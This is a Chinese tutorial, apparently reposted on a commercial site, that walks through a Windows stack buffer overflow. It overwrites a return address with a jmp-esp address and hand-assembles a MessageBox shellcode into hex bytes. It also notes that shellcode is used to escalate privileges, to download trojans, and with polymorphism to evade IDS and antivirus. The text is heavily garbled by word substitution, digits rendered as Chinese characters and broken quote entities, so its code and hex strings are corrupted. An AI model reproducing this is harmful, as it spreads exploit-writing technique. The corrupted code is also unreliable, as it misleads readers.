|
|
|
联系客服020-83701501

shellcode的编写与关键

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
shellcode的编写与枢纽

?关于许多人来讲,非常是刚构兵溢出的人来讲,操纵步伐的编写中,shellcode的编写最为头疼。其实关于1个有1定编程基础的人来讲,shellcode的编写不是很是困难,枢纽是其中有几个要留心的中央。

shellcode其实即是1段为了牵制步伐执行而带有某种目标的代码,可是shellcode却是溢出操纵中最为垂危的全副,否则溢出缝隙关于不能没有shellcode的人来讲,只是1个软件的垂危过错罢了。

以下是1段溢出的代码:

#include <stdio.h>

#include <string.h>

#include <windows.h>

 

void overflow(char* buf)

{

char des[5]=221;221;;

strcpy(des,buf);

return;

}

void main(int argc,char *argv[])

{

LoadLibrary(220;user三2.dll221;);

char longbuf[100]=221;aaaaaaaaaaaabbbbcccccccccccc221;;

overflow(longbuf);

return;

}

关于这个步伐,别说看不懂,user三2.dll是调用win三2下的1个API参数罢了,在shellcode的编写中,不1定是这个,这里只是做个树范,编写溢出缝隙操纵的shellcode时,根据实际必要批改调用的API参数。另外的别说不明明。

在VC++6.0中调试运行来看看下场:

梗概看到这个步伐是堕落了,运行遏制了,内存不能为read。

我们来看1下这个步伐运行后的ESP存放器:

这里梗概看到函数的返回地址EIP被覆盖成为了62626262(bbbb),ESP的地址指向了6三,即是c,也即是我们在步伐中提交的c。我们在这里, 假设将这个函数返回地址跳转到我们梗概牵制的ESP地址上,那么我们就能在步伐溢出后,退让伐执行我们梗概牵制的变量,也即是所说的shellcode。

也即是说,1般状况下,将函数的返回地址覆盖成为1个相似jmp esp指令的地址,经由esp存放器指向我们能牵制的过长变量。

我们来看上面这个图:

经由过长的A造成步伐的溢出,而后用B(我们提交的返回地址)覆盖EIP地址,跳转到ESP地址中,C(shellcode)写入了ESP存放器。

我们基于这个理论基础,来写1个操纵的shellcode:

#include <stdio.h>

#include <string.h>

#include <windows.h>

 

void overflow(char* buf)

{

char des[5]=221;221;;

strcpy(des,buf);

return;

}

void main(int argc,char *argv[])

{

LoadLibrary(220;user三2.dll221;);

char longbuf[100]=221;aaaaaaaaaaaa221;;

longbuf[12]=21七;xc8242;;

longbuf[1三]=21七;xae21七;;

longbuf[14]=21七;xd5242;;

longbuf[15]=21七;x七7242;;

longbuf[16]=21七;x三3242;;

longbuf[1七]=21七;xdb21七;;

longbuf[18]=21七;x5三242;;

longbuf[19]=21七;x5三242;;

longbuf[20]=21七;x5三242;;

longbuf[21]=21七;x5三242;;

longbuf[22]=21七;xb8242;;

longbuf[2三]=21七;xea21七;;

longbuf[24]=21七;x04242;;

longbuf[25]=21七;xd5242;;

longbuf[26]=21七;x七7242;;

longbuf[2七]=21七;xff21七;;

longbuf[28]=21七;xd0242;;

overflow(longbuf);

return;

}

看1下这段步伐运行后的下场:

在这里梗概看到,这个步伐已经不受零碎的报错牵制,而是受我们牵制的。

这段步伐中,“longbuf[12]=21七;xc8242;;longbuf[1三]=21七;xae21七;;longbuf[14]=21七;xd5242;; longbuf[15]=21七;x七7242;;”是我们提交的jmp esp地址,负面的,则是我们说的shellcode,在这里的shellcode目标即是弹出这个对话框。

接上去,就说1下这段代码的根本编写进程。

在这里先解释1下shellcode,shellcode即是1段步伐代码,梗概说任何算计机说话凡是梗概编写出1段shellcode,可是由于许多时 候esp空间无量制,以是,shellcode的请求即是尽量短小、精简、高效三个原则,故常用汇编和C说话类的中止编写,而后shellcode的目 的是为了达到牵制步伐的运行,许多时候即是为了穿越防火墙,以是shellcode常常被用来提权大概是作为下载器安置木马,而不是将1个木马步伐变为 shellcode,否则1个马几百K,再加之安置步伐,关于shellcode来讲,过于庞大了。

shellcode本人代码的重定位:shellcode是作为1段代码传递给目标步伐的,必要在步伐的空间以内的,要跟高低文步伐相结合,以是必要精准的重定位。

shellcode中使用的API地址定位:在相同零碎中,API的地址根本上是1样的,可是在不同的零碎中,就有可能出现分歧,以是在编写操纵 shellcode前,假设调用的API地址不1样,就会堕落,以是尽量使用通用的API地址,大概使用重定位,常用的有PEB进程块的查找,不多说 了,有兴味梗概本人查阅1下干系材料。

尚有shellcode编码问题:体会Windows的人会晓得,00这个字节在Windows中,是遏制的意义,以是在编写中,要灌输出现00。尚有的 是步伐中的1些问题,例如有的步伐不接受空格、小写字母、非凡标志等等。在编写中使用1些设施去灌输如许的问题。

多态技能隐匿IDS检测:隐匿检测的还包含杀毒软件、防火墙等等,有的时候可能1些shellcode已是被杀毒软件等记载,并有特征码,以是发送后,就会被查杀,以是要尽量使用多态技能隐匿IDS检测。

上面就来编写上面出现的那段步伐,首先用VC++6.0(不会用VS2005大概2010)编写出1段弹出对话框的代码:

#include <stdio.h>

#include <windows.h>

 

void main()

{

MessageBox(NULL,NULL,NULL,0);

return;

}

这个代码很繁杂,可是不能直接用于shellcode,由于在内存中,算计机只认2进制代码的,以是要中止干系的转换,我们分两步实现。

首先转换为汇编代码,首先在以下图的中央下断点:

按下F5,而后以下图中止抉择:

这时候梗概看见灰色的代码即是我们要实现的messagebox函数的汇编代码:

汇编代码不中止解释了,看不懂的话,还是先别学这个了。将这段灰色的代码复制进去,从新写到代码中去:

#include <stdio.h>

#include <windows.h>

void main()

{

LoadLibrary(220;user三2.dll221;);

_asm

{

xor ebx,ebx

push ebx//push 0

push ebx

push ebx

push ebx

mov eax,七7d504eah

call eax

}

return;

}

这里,留心ebx,我们使用异或指令,而后用ebx来调换掉0,启事在上面已经说过了。七7d504ea这个是MessageBox函数在零碎中的地址,找到后,赋值给eax。将这个步伐在VC++6.0编译执行1下,梗概看到弹出对话框,说明这个是粗略的。

接上去即是终极的转化了,不才图的中央下断点:

同样F5,而后为了随便检查地址,再次调试出灰色的汇编代码,梗概创作发明调试出的跟我们写的1样:

在这里梗概看到弹出窗口的代码劈头的地址是4010三C,我们到内存中找这个地址:

在这里,梗概看到内存中的十6进制暗示进去的代码了,4010三C劈头的,40104七结束的,我们就将三3 DB 5三 5三 5三 5三 B8 EA 04 D5 七7 FF D0复制上去(别问老夫为甚么要把D0复制,不晓得再去看看上面说的1些工具),如许也就能实现终极的shellcode了:

#include <stdio.h>

#include <windows.h>

 

char ourshellcode[]=221;x三3xDBx5三x5三x5三x5三xB8xEAx04xD5x七7xFFxD024三;;

 

void main()

{

LoadLibrary(220;user三2.dll221;);

int *ret;

ret=(int*)&ret+2;

(*ret)=(int)ourshellcode;

return;

}

编译后梗概创作发明弹出对话框,就不截图了。上面的第三全副是1个调试框架,不做解释,只是为了证明朝码梗概使用。而后将此代码从新写入源步伐中,即是老夫最初使用的那段代码。

这里繁杂引见了shellcode编写的根本进程和留心的1些工具,至于shellcode所要实现的屈就,每团体根据本人的变为程度去中止编写吧,老夫 畴前教程和测试中也有算计器的代码,网上也有许多shellcode的代码,本人梗概本人找找看看,多多看看他人编写的代码深造1下设施和思绪,如许才略 提高本人的程度。

本文转自太子博客原文作者不祥由Internet安然攻防研究室(www.91ri.org)消息安然小组收集整理。

数安新闻+更多

证书相关+更多